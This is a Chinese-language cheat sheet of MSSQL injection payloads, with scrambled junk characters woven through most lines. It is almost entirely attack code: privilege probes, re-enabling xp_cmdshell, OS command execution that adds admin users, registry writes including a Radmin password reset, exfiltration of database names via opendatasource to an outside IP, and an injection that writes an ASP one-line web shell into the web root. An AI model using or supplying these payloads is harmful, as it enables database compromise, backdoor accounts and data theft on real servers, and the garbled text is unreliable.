//看看是什么权限的
% m- I2 x% w5 kand 1=(Select IS_MEMBER('db_owner'))7 j9 W$ N r* B( u
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
7 J7 {9 d7 d3 o4 u7 S, Z& C1 ?! v- ~2 \& `- E, t6 b ?. m
//检测是否有读取某数据库的权限+ S0 v( D5 N$ u) l4 i
and 1= (Select HAS_DBACCESS('master'))
' ~* ~/ D# V% H( E- AAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --2 c0 C! V5 n: V7 _5 A# X- e
+ V; l7 ?* o% Z7 I* ?9 k. _+ Z% ]% j' g* y
数字类型# f8 s' S% Q& u* F- W
and char(124)%2Buser%2Bchar(124)=0
( N1 D9 H* y# o4 y5 w/ A2 M% D- E1 ]$ K( a% o- b4 ]( y
字符类型
# l& u1 G- J* @' and char(124)%2Buser%2Bchar(124)=0 and ''='& C& B1 G* d, c ~
$ p I2 t* F* y! s( D' q搜索类型/ l0 Z9 L4 {; B' e
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
9 J7 }: r+ b' V0 z- ^7 {+ N
0 ~* c! k& }% n. c. {爆用户名
% g. Z; [$ A5 f1 ?( f9 l+ Aand user>0
* Y, I) ?! W5 k+ G. ~' and user>0 and ''='( b/ U W' X. f! \# l5 \8 v, n l
8 u7 C1 ^. m6 ?: F3 s
检测是否为SA权限3 f Q; K, |$ w: S& w: P% Q! E: X
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
0 F C9 w; o9 R+ |% P+ bAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --' m3 x5 \; K$ a3 g0 p
& ^6 i9 J' V2 R检测是不是MSSQL数据库
+ i3 b1 ?$ ^7 i/ E9 k! E; A& }" e& ]and exists (select * from sysobjects);--/ R' V$ z) x( ^# e: B* ~2 x
* ]( f& r& p1 J6 k
检测是否支持多行
" |" D( n1 d; z! @8 ?* B' ~3 e2 E;declare @d int;--# j4 ~$ {( g5 P2 e' E- e$ g
9 J, ]. j& P; K- H+ }+ ]/ h3 g+ e恢复 xp_cmdshell, I/ c0 t Y7 {- E0 T8 @. m. s
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
. u! p) b# l$ y, N: ?4 G- G
$ G3 }6 f$ J3 o8 n+ W) P: V0 j4 ] p1 ~" S0 t/ r6 p" @
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')8 Q9 C l6 h/ X0 g5 b
; S! u" T# k3 Z. X0 G//-----------------------
. G0 a1 d; ^' P+ B4 m// 执行命令
/ \" [. g% T$ i4 f8 \; E0 U//-----------------------
0 ?( ^( }+ z; N6 ~& ?1 n首先开启沙盘模式:
* @, \" f3 B; h. w8 hexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1% h, G' v" C) i& F) h
3 Z! \$ Q+ G/ t
然后利用jet.oledb执行系统命令
/ _% B% \( W1 M3 Nselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
+ F8 h5 F! `4 D$ j. s/ M: j) T2 V7 w6 H/ z' W _: \2 p
执行命令 s) i( T* k0 @. A
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--; X) W4 G4 D0 m' T
% Z' i( W7 n M7 y' ]EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
$ y! x% Y1 L, Y' L5 [/ O' Y% } l+ y* e$ F! `: B
判断xp_cmdshell扩展存储过程是否存在:( D# S- c* V1 G# c4 }" [$ E3 j
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
: U% w% J* S' }$ ~* \9 e
- w4 o3 R6 i5 x5 i5 R* O r写注册表
/ |, N- c2 J: |/ g. R: Zexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',10 I% o* z6 D$ l& e' p- e
% `. V7 k7 ^ A% C w" fREG_SZ
+ {0 p7 [. ~" ?2 V* j) H3 ^( N
( c3 `& p ^, j: B. l% J读注册表. [, u# q2 P4 H0 D6 U
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit') w% }" }" N! V' E; l8 w
2 W" a0 b* Z1 s7 M6 b- R- m, }
读取目录内容) q' o8 z/ v! c- a
exec master..xp_dirtree 'c:\winnt\system32\',1,1
$ N M, k( U W3 |$ r, k! q+ v6 h) a+ n0 e( B4 b" r5 L
$ x6 i3 C! \2 t4 v; O j数据库备份
' M3 G" k1 R# f" abackup database pubs to disk = 'c:\123.bak'
$ Z9 [) U) b9 _3 A: P" O. a
6 \& J+ q) `( T$ d: N//爆出长度
- {6 Y- V2 m7 }- y/ o+ i+ pAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--/ j$ y o1 y, m' E m2 @
C) [' @6 g e* S) N6 F
- t' Q2 Y E% K$ U1 _: q9 l( j* i! D% g7 c/ m) d- d! e$ [6 h
更改sa口令方法:用sql综合利用工具连接后,执行命令:
6 Q% d: J9 L/ e ~exec sp_password NULL,'新密码','sa'0 ] O, e" \- ^( y J$ t
! Z2 ` O2 n! K& Y' r
添加和删除一个SA权限的用户test:! C& i# L/ n# B2 W) Z
exec master.dbo.sp_addlogin test,9530772
7 W/ }2 a8 i5 l, S4 d8 uexec master.dbo.sp_addsrvrolemember test,sysadmin
" L( \$ g5 m7 N9 \9 k" C. a9 Y6 J3 w
删除扩展存储过过程xp_cmdshell的语句:
2 d9 {4 O$ L ^3 gexec sp_dropextendedproc 'xp_cmdshell'
& j: h& M9 X$ l/ k8 ^1 g' m5 E' N8 z/ X% }( V! V; `1 s
添加扩展存储过过程) j8 F6 Z: ] C. C9 m f% `9 c
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'! F, O& ]9 w9 l% P7 m
GRANT exec On xp_proxiedadata TO public+ \; O5 ^0 ~& B1 |
% N9 i; Y# ?, F6 Z7 W. @+ S, ~
8 p* q+ t4 m1 n+ d2 t停掉或激活某个服务。+ ?" s5 W" I1 Y! I" Q) X1 q
) q! [% J1 S6 q3 j6 _- ~8 Z* eexec master..xp_servicecontrol 'stop','schedule'
$ z: }. w* z1 x6 p0 g# }exec master..xp_servicecontrol 'start','schedule'+ @* C2 | M. l
: ?+ ^* z/ R. W9 h8 t/ Mdbo.xp_subdirs: B/ @2 d2 c D1 p& q
: H; q# D* N# I& u
只列某个目录下的子目录。
5 C! @) \+ R6 ~6 ]8 {2 u; }xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'+ h" e, K+ c- E8 u( w
6 @0 C3 f$ m" T2 r& F3 ] A! ndbo.xp_makecab. S1 }& c) A8 {. ^7 M" m$ l
: L% @0 W; r& _. t% Q7 v
将目标多个档案压缩到某个目标档案之内。
7 W8 l; ]' m6 |3 F; B2 N8 h, D所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。" n4 J& j$ M+ P P- j5 s" Z9 w
- _2 }1 j* f( Y) ?
dbo.xp_makecab; Y2 f+ l2 o6 l0 ~- V! j: g* U
'c:\test.cab','mszip',1,
% C: m! v, f0 |* O0 k'C:\Inetpub\wwwroot\SQLInject\login.asp',5 r6 @1 `+ {" a) Y' T
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
2 V3 ]9 s2 R8 L0 H/ x8 K, _+ L% ?5 @# Y
xp_terminate_process! }1 R, R- {; o; z- Y
# I B4 t6 H/ a( I4 N停掉某个执行中的程序,但赋予的参数是 Process ID。7 S# ~- i, t: Y( e& I" j
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
+ {# K9 X) X" X& U8 m. f. `$ Y2 x6 i( G# b5 J y
xp_terminate_process 2484/ h$ Y; H5 p! r3 ]* j5 U* c
! P, c) @/ i( [# }1 lxp_unpackcab
1 w5 o6 ^/ v6 @4 ~+ h" J G9 }* b; m) M+ J" N7 n- g% {& E% V+ I6 w
解开压缩档。5 _: \' K; m# B
8 F- r1 v4 \: C* j y
xp_unpackcab 'c:\test.cab','c:\temp',1 ?1 ^7 @+ l7 q4 o4 N( \
7 o. e: F/ I/ w6 n
- `, O! ^2 {9 E. a' }某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234/ H+ D2 K; z. h" [+ P
. X4 `/ S' A1 a! H7 A# R
create database lcx;+ ?1 J, [, u" e: g' O
Create TABLE ku(name nvarchar(256) null);' m1 y# R* M! z' j5 W
Create TABLE biao(id int NULL,name nvarchar(256) null);
5 h% N+ E5 m7 x& [) O6 z/ j5 x3 ^# Q4 J& Z# T# v0 Y+ m: V
//得到数据库名% Q' b' A8 }# _4 G! K) v( H- f
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
6 b0 P! m. e: O9 b9 Z! N, Q4 K, V1 m0 c$ }& t* z
6 Q. J& ?0 l* S) J# I//在Master中创建表,看看权限怎样
; Q1 B- Y' ?8 A0 A- U) z" m! QCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
3 @- r; `% H" S4 X& L. E2 q8 r# _# v; Z/ l0 J: g! `
用 sp_makewebtask直接在web目录里写入一句话马:8 u9 @8 _" d) l
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--5 |; d- z4 C$ ], ?, q8 v6 ]
7 q& R& c& P: R& C* J- {# D
//更新表内容
& y# O" J# \- `' V) |0 ], ^Update films SET kind = 'Dramatic' Where id = 123
2 ?4 N* y1 r. l" J) f5 R
$ A& Q/ @( ~$ f- ]) B# S; s//删除内容- J* Q0 M: a- p" {; a) \: V( F
delete from table_name where Stockid = 3 |